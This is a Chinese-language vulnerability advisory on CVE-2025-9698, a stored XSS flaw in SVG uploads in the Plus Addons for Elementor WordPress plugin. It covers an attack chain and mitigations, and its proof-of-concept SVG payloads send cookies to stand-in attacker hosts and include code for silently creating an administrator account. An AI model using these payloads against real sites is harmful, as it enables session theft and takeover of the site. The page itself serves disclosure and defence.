IPBUF安全漏洞报告
English
CVE-2025-9698 CVSS 6.8 中危

CVE-2025-9698:Plus Addons for Elementor插件SVG存储型XSS漏洞

披露日期: 2025-10-13

漏洞信息

漏洞编号
CVE-2025-9698
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.8 中危
攻击向量
网络 (AV:N)
认证要求
高权限 (PR:H)
用户交互
需要交互 (UI:R)
影响产品
The Plus Addons for Elementor(WordPress插件)

相关标签

XSS存储型XSSStored XSSWordPressWordPress插件Plus Addons for ElementorSVG文件上传漏洞CWE-79跨站脚本

漏洞概述

CVE-2025-9698是The Plus Addons for Elementor WordPress插件中的一个存储型跨站脚本(Stored XSS)漏洞。该插件在处理SVG文件上传时未对文件内容进行充分的过滤和净化处理,导致恶意用户可以将包含JavaScript代码的SVG文件上传到WordPress媒体库中。由于SVG文件本质上是一种基于XML的图像格式,可以包含脚本标签和事件处理器,攻击者能够利用这一特性在受害者浏览器中执行任意JavaScript代码。该漏洞由WPScan团队([email protected])发现并报告,CVSS评分为6.8分,属于中危级别漏洞。该漏洞已于2025年10月13日公开披露,影响该插件6.3.16之前的所有版本。受影响的网站管理员应尽快更新到最新版本以修复此安全缺陷。该漏洞的利用需要攻击者拥有最低Author级别的WordPress用户权限,这意味着在多作者博客或允许用户注册的网站上,恶意注册用户可能利用此漏洞发动攻击。

技术细节

该漏洞的核心问题在于The Plus Addons for Elementor插件在处理用户上传的SVG文件时,未对SVG文件内容进行适当的净化处理。SVG(Scalable Vector Graphics)是一种基于XML的矢量图形格式,支持嵌入JavaScript脚本和事件处理器(如onload、onclick等),这使得SVG文件本质上可以包含可执行代码。在正常的WordPress环境中,管理员通常会限制SVG上传以防止XSS攻击,但该插件在实现文件上传功能时绕过了这一安全限制。具体利用过程如下:1)攻击者首先需要拥有一个Author或更高权限的WordPress账户;2)攻击者创建一个包含恶意JavaScript代码的SVG文件,例如使用<script>alert(document.cookie)</script>或使用<svg onload='fetch("https://attacker.com/?cookie="+document.cookie)'>等payload;3)通过插件提供的文件上传功能将该SVG文件上传到WordPress媒体库;4)当其他用户(尤其是管理员)查看包含该SVG的页面时,恶意脚本将在其浏览器中自动执行;5)攻击者可以利用此漏洞窃取用户会话cookie、进行权限提升、植入后门、重定向用户到恶意网站等。由于该漏洞为存储型XSS,恶意代码会被持久化存储在服务器端,每次有用户访问受影响的页面都会触发攻击,影响范围广泛且持续。

攻击链分析

STEP 1
步骤1:获取账户权限
攻击者通过注册或社会工程学手段获取目标WordPress网站的Author或更高权限账户。在允许用户注册的网站上,这一步相对容易实现。
STEP 2
步骤2:制作恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件,利用SVG格式支持内嵌脚本和事件处理器的特性,将XSS payload嵌入到SVG文件中。
STEP 3
步骤3:上传恶意文件
通过The Plus Addons for Elementor插件的文件上传功能,将恶意SVG文件上传到WordPress媒体库。由于插件未对SVG内容进行净化处理,上传成功。
STEP 4
步骤4:诱导受害者访问
攻击者将上传的SVG文件嵌入到文章或页面中,诱导管理员或其他高权限用户访问该页面。
STEP 5
步骤5:执行恶意脚本
当受害者浏览包含恶意SVG的页面时,嵌入的JavaScript代码在其浏览器中自动执行,可用于窃取会话cookie、劫持账户或执行其他恶意操作。
STEP 6
步骤6:权限提升与持久化
攻击者利用窃取的管理员会话创建新的管理员账户或安装后门插件,实现对网站的完全控制和数据窃取。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- Malicious SVG file for Stored XSS via The Plus Addons for Elementor --> <!-- Save as evil.svg and upload via the plugin's file upload feature --> <?xml version="1.0" standalone="no"?> <!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd"> <svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink"> <script type="text/javascript"> // Payload: Steal cookies and send to attacker server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker.example.com/steal?c=" + encodeURIComponent(cookie); // Alternative: Create admin user via AJAX /* var xhr = new XMLHttpRequest(); xhr.open("POST", "/wp-admin/user-new.php", true); xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); xhr.send("action=createuser&_wpnonce=xxx&user_login=hacker&[email protected]&pass1=password123&pass2=password123&role=administrator"); */ </script> <rect width="100" height="100" style="fill:red"/> </svg> <!-- Alternative payload using onload event --> <!-- <svg xmlns="http://www.w3.org/2000/svg" onload="alert('XSS'); document.location='https://attacker.com/?cookie='+document.cookie"> <circle cx="50" cy="50" r="40" fill="green"/> </svg> -->

影响范围

The Plus Addons for Elementor < 6.3.16

防御指南

临时缓解措施
在无法立即升级插件的情况下,建议采取以下临时缓解措施:1)在WordPress的wp-config.php中临时禁用SVG文件上传功能;2)通过.htaccess文件限制SVG文件的MIME类型上传;3)降低Author用户的权限,禁止其上传文件;4)部署Web应用防火墙规则,阻止包含<script>标签的SVG文件上传;5)定期检查媒体库中是否有可疑的SVG文件并及时删除;6)监控网站访问日志,发现异常行为及时响应。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表